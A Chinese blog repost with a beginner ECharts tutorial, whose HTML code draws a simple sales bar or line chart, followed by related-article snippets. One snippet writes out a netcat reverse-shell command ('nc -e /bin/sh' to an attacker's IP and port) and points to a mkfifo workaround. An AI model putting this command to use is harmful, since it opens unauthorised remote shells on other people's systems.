前端框架-echarts

Echarts

项目中要使用到echarts框架,从零开始在csdn上记笔记。
这是一个基础的代码,小白入门看一下

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><script src="https://cdn.jsdelivr.net/npm/echarts@5.5.0/dist/echarts.min.js" integrity="sha256-QvgynZibb2U53SsVu98NggJXYqwRL7tg3FeyfXvPOUY=" crossorigin="anonymous"></script>
</head>
<body><div id="main", style="width: 600px;height: 400px;"></div><script type="text/javascript">var myChart = echarts.init(document.getElementById('main'));//指定图标的配置与数据var option = {//标题配置项title: { text: 'ECharts 入门示例'},//提示框配置项tooltip: {},//图例配置项legend: {data:['销量']},//x坐标轴配置项xAxis: {data:['衬衫','羊毛衫','雪纺衫','裤子','高跟鞋','袜子']},//y坐标轴配置项,y轴配置项为空,意味着Y轴的显示会根据数据自动调整yAxis: {},//数据系列配置项series: [{name: '销量', //名字// type: 'bar', //这是柱状图type: 'line', //这是折线图data: [5, 20, 36, 10, 10, 20] //数据}]};//使用刚指定的配置项和数据显示图表myChart.setOption(option);</script>
</body>
</html>

折线图图示

在这里插入图片描述

柱状图图示
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/12341.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

刷题之找到字符串所有字母异位词

找到字符串所有字母异位词 滑动窗口。滑动窗口大小为待比较数组的大小。 class Solution { public:vector<int> findAnagrams(string s, string p) {//滑动窗口vector<int>result;if(s.size()<p.size())return result;vector<int>pnum(26,0);//记录p的字…

链表----带环链表快慢指针进阶版

1.带环链表及其拓展 &#xff08;1&#xff09;这个题目组要就是进行判断这个链表是否带环&#xff0c;使用的是布尔类型作为返回值&#xff1b; &#xff08;2&#xff09;我们这里的思路是使用的快慢指针&#xff0c;快指针一次走2步&#xff0c;慢指针一次走1步&#xff0c…

思维导图软件哪个好?5个软件教你自己快速制作思维导图

思维导图软件哪个好&#xff1f;5个软件教你自己快速制作思维导图 思维导图软件在现代生活和工作中扮演着重要的角色&#xff0c;它们可以帮助人们整理思维、规划项目、记录笔记等。以下是五款值得推荐的思维导图软件&#xff0c;它们各有特色&#xff0c;可以帮助您快速制作思…

嵌入式Linux:编译和使用Protobuf库

目录 1、开发环境和工具 2、安装和编译Protobuf、Protobuf-C库 3、编写和编译proto文件 4、修改makefile文件 5、测试示例 6、参考资料 Protobuf&#xff08;Protocol Buffers&#xff09;是由 Google 开发的一种轻量级、高效的结构化数据序列化方式&#xff0c;用于在不同应用…

Charger之三动态电源路径管理(DPPM)

-----本文简介----- 主要内容包括&#xff1a; 领资料&#xff1a;点下方↓名片关注回复&#xff1a;粉丝群 硬件之路学习笔记公众号 Charger的动态电源路径管理&#xff08;DPPM&#xff09; 前篇内容&#xff1a;①电池管理IC&#xff08;Charger&#xff09;了解一下&…

基于java 自定义注解Annotation设计简单ORM框架——进阶篇

目录 引言实例新建两个注解标注实体类拼接sql语句 总结 引言 一般Java规范编程&#xff08;只是一种习惯&#xff0c;而不是强制&#xff09;中&#xff0c;变量的命名方式一般采用驼峰式命名。比如userName&#xff0c;userImage。但是在数据库中一般不会采用驼峰式&#xff…

AIGC、LLM 加持下的地图特征笔记内容生产系统架构设计

文章目录 背景构建自动化内容生产平台系统架构设计架构详细设计流程介绍笔记来源笔记抓取干预 笔记 AIGC 赋能笔记 Rule 改写笔记特征库构建 附录Bash Cron 定时任务Golang 与 Pyhon AIGC 实践 小结 背景 在大模型的浪潮下&#xff0c;ChatGPT、Sora、Gemini、文言一心 等新技…

[MRCTF2020]PixelShooter

是个安卓游戏题 re手肯定不会去玩游戏&#xff0c;先jadx分析一波 没有什么关键信息&#xff0c;但找到了一个unity类&#xff0c;想到apk也可以解压缩得到 .so 或者 Assembly-CSharp.dll 故又在dnspy分析一下 看了半天没有和flag有关信息&#xff0c;看wp&#xff1a; Asse…

用面向对象的思想编写实时嵌入式C程序

实时嵌入式系统的软件一般由C语言编写&#xff0c;程序结构基本上都是这样的&#xff1a; // 主程序 int main(void) {init(); // 初始化while(1){tick(); // 业务逻辑}return 0; }// 计时器 static unsigned int g_timer_tick_cnt 0; // 时钟中断回调 void isr_time…

【工作篇】软件工程师的知识基础(持续更新)

目录 1. linux 知识篇 1. linux 知识篇 1. Linux API 是什么 Linux API 是指 Linux 操作系统 提供的应用程序接口&#xff0c;用于与操作系统进行交互。它包含了一系列的函数、系统调用、库函数和数据结构&#xff0c;用于实现各种系统级的操作&#xff0c;如文件操作、进程…

HTML常用标签-布局相关标签

布局标签 div标签 俗称"块",主要用于划分页面结构,做页面布局 自己独占一行的元素&#xff0c;设置宽高生效 span标签 俗称"层",主要用于划分元素范围,配合CSS做页面元素样式的修饰 不会自己独占一行的元素&#xff0c;设置宽高不生效 代码 <div style&…

海南省薪鑫网络科技有限公司:引领智能剪辑纪元!

在数字化浪潮的激荡下&#xff0c;海南省薪鑫网络科技有限公司凭借其尖端技术实力&#xff0c;正引领着内容创作行业迈向一个崭新的智能剪辑纪元。这一划时代的变革&#xff0c;源于公司精心打造的AI剪辑软件&#xff0c;它不仅为剪辑工作赋予了新的高度&#xff0c;也为广大创…

RK3566(泰山派):3.1寸屏幕D310T9362V1SPEC触摸驱动(竖屏)

RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09; 文章目录 RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09;电路配置i2c1设备树创建驱动编写…

算法分析与设计复习__渐近+复杂度

算法v.s.程序: 程序 数据结构 算法&#xff1b; 1.时空复杂度T(n)/O(n)&#xff08;衡量一个算法的优劣&#xff09; 1.1最坏/最好/平均(所有输入等概出现)时间复杂度; 1.1.1 E.g.手算某算法&#xff08;冒泡排序&#xff09;程序段的T,O; 1.2算法的渐近表示&#xff1b; …

智慧安防系统:构建更安全的社区环境

随着科技的不断进步&#xff0c;人们的生活质量得到了显著提高。然而&#xff0c;与此同时&#xff0c;社会治安问题也日益凸显。为了维护社会的和谐稳定&#xff0c;提高人们的生活安全感&#xff0c;智慧安防系统应运而生。本文将为您详细介绍智慧安防系统的项目背景、需求分…

暗黑4可以搬砖吗?暗黑4怎么搬砖 搬砖攻略

暗黑4可以搬砖吗&#xff1f;暗黑4怎么搬砖 搬砖攻略 暗黑破坏神4属于是暴雪旗下一款经典游戏IP&#xff0c;在全世界有着广泛的玩家群体&#xff0c;更是在今年暴雪国服宣布回归之后&#xff0c;吸引了一大批新玩家加入。今天小编就为大家带来暗黑4的详细搬砖教程。 现在我们…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时&#xff0c; nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误&#xff1a; 这说明此netcat不支持 -e 参数。 此时可以做如下更改&#xff1a; 使用mkfifo或mknod命令创建一个命名管道&#xff0c;然后使用cat命令读取管道中的内容&…

【多模态】30、Monkey | 支持大尺寸图像输入的多任务多模态大模型

文章目录 一、背景二、方法2.1 Enhancing Input Resolution2.2 Multi-level Description Generation2.3 Multi-task Training 三、效果3.1 Image Caption3.2 General VQA3.3 Scene Text-centric VQA3.4 Document-oriented VQA3.5 消融实验3.6 可视化 论文&#xff1a;Monkey : …

数据结构与算法-排序算法2-选择排序

目录 1.选择排序&#xff1a; 1.介绍&#xff1a; 2.动态图解 3.举例 4.小结选择排序规则 5.选择排序代码 6.运行时间 代码&#xff1a; 运行结果&#xff1a; 1.排序算法简介 排序也称为排序算法。排序是将一组数据依据指定的顺序进行排列的过程。 2.常见的排序算法…

国内好用的测试用例管理工具有哪些?

目前市面上的测试用例管理工具有很多&#xff0c;但由于针对的项目、领域、目标用户&#xff0c;功能也并不一致&#xff0c;所以选择一款适合的测试管理平台并不轻松。做好这件事&#xff0c;首先要需求明确你用测试管理工具干什么&#xff1f;最终想要达到什么目标&#xff1…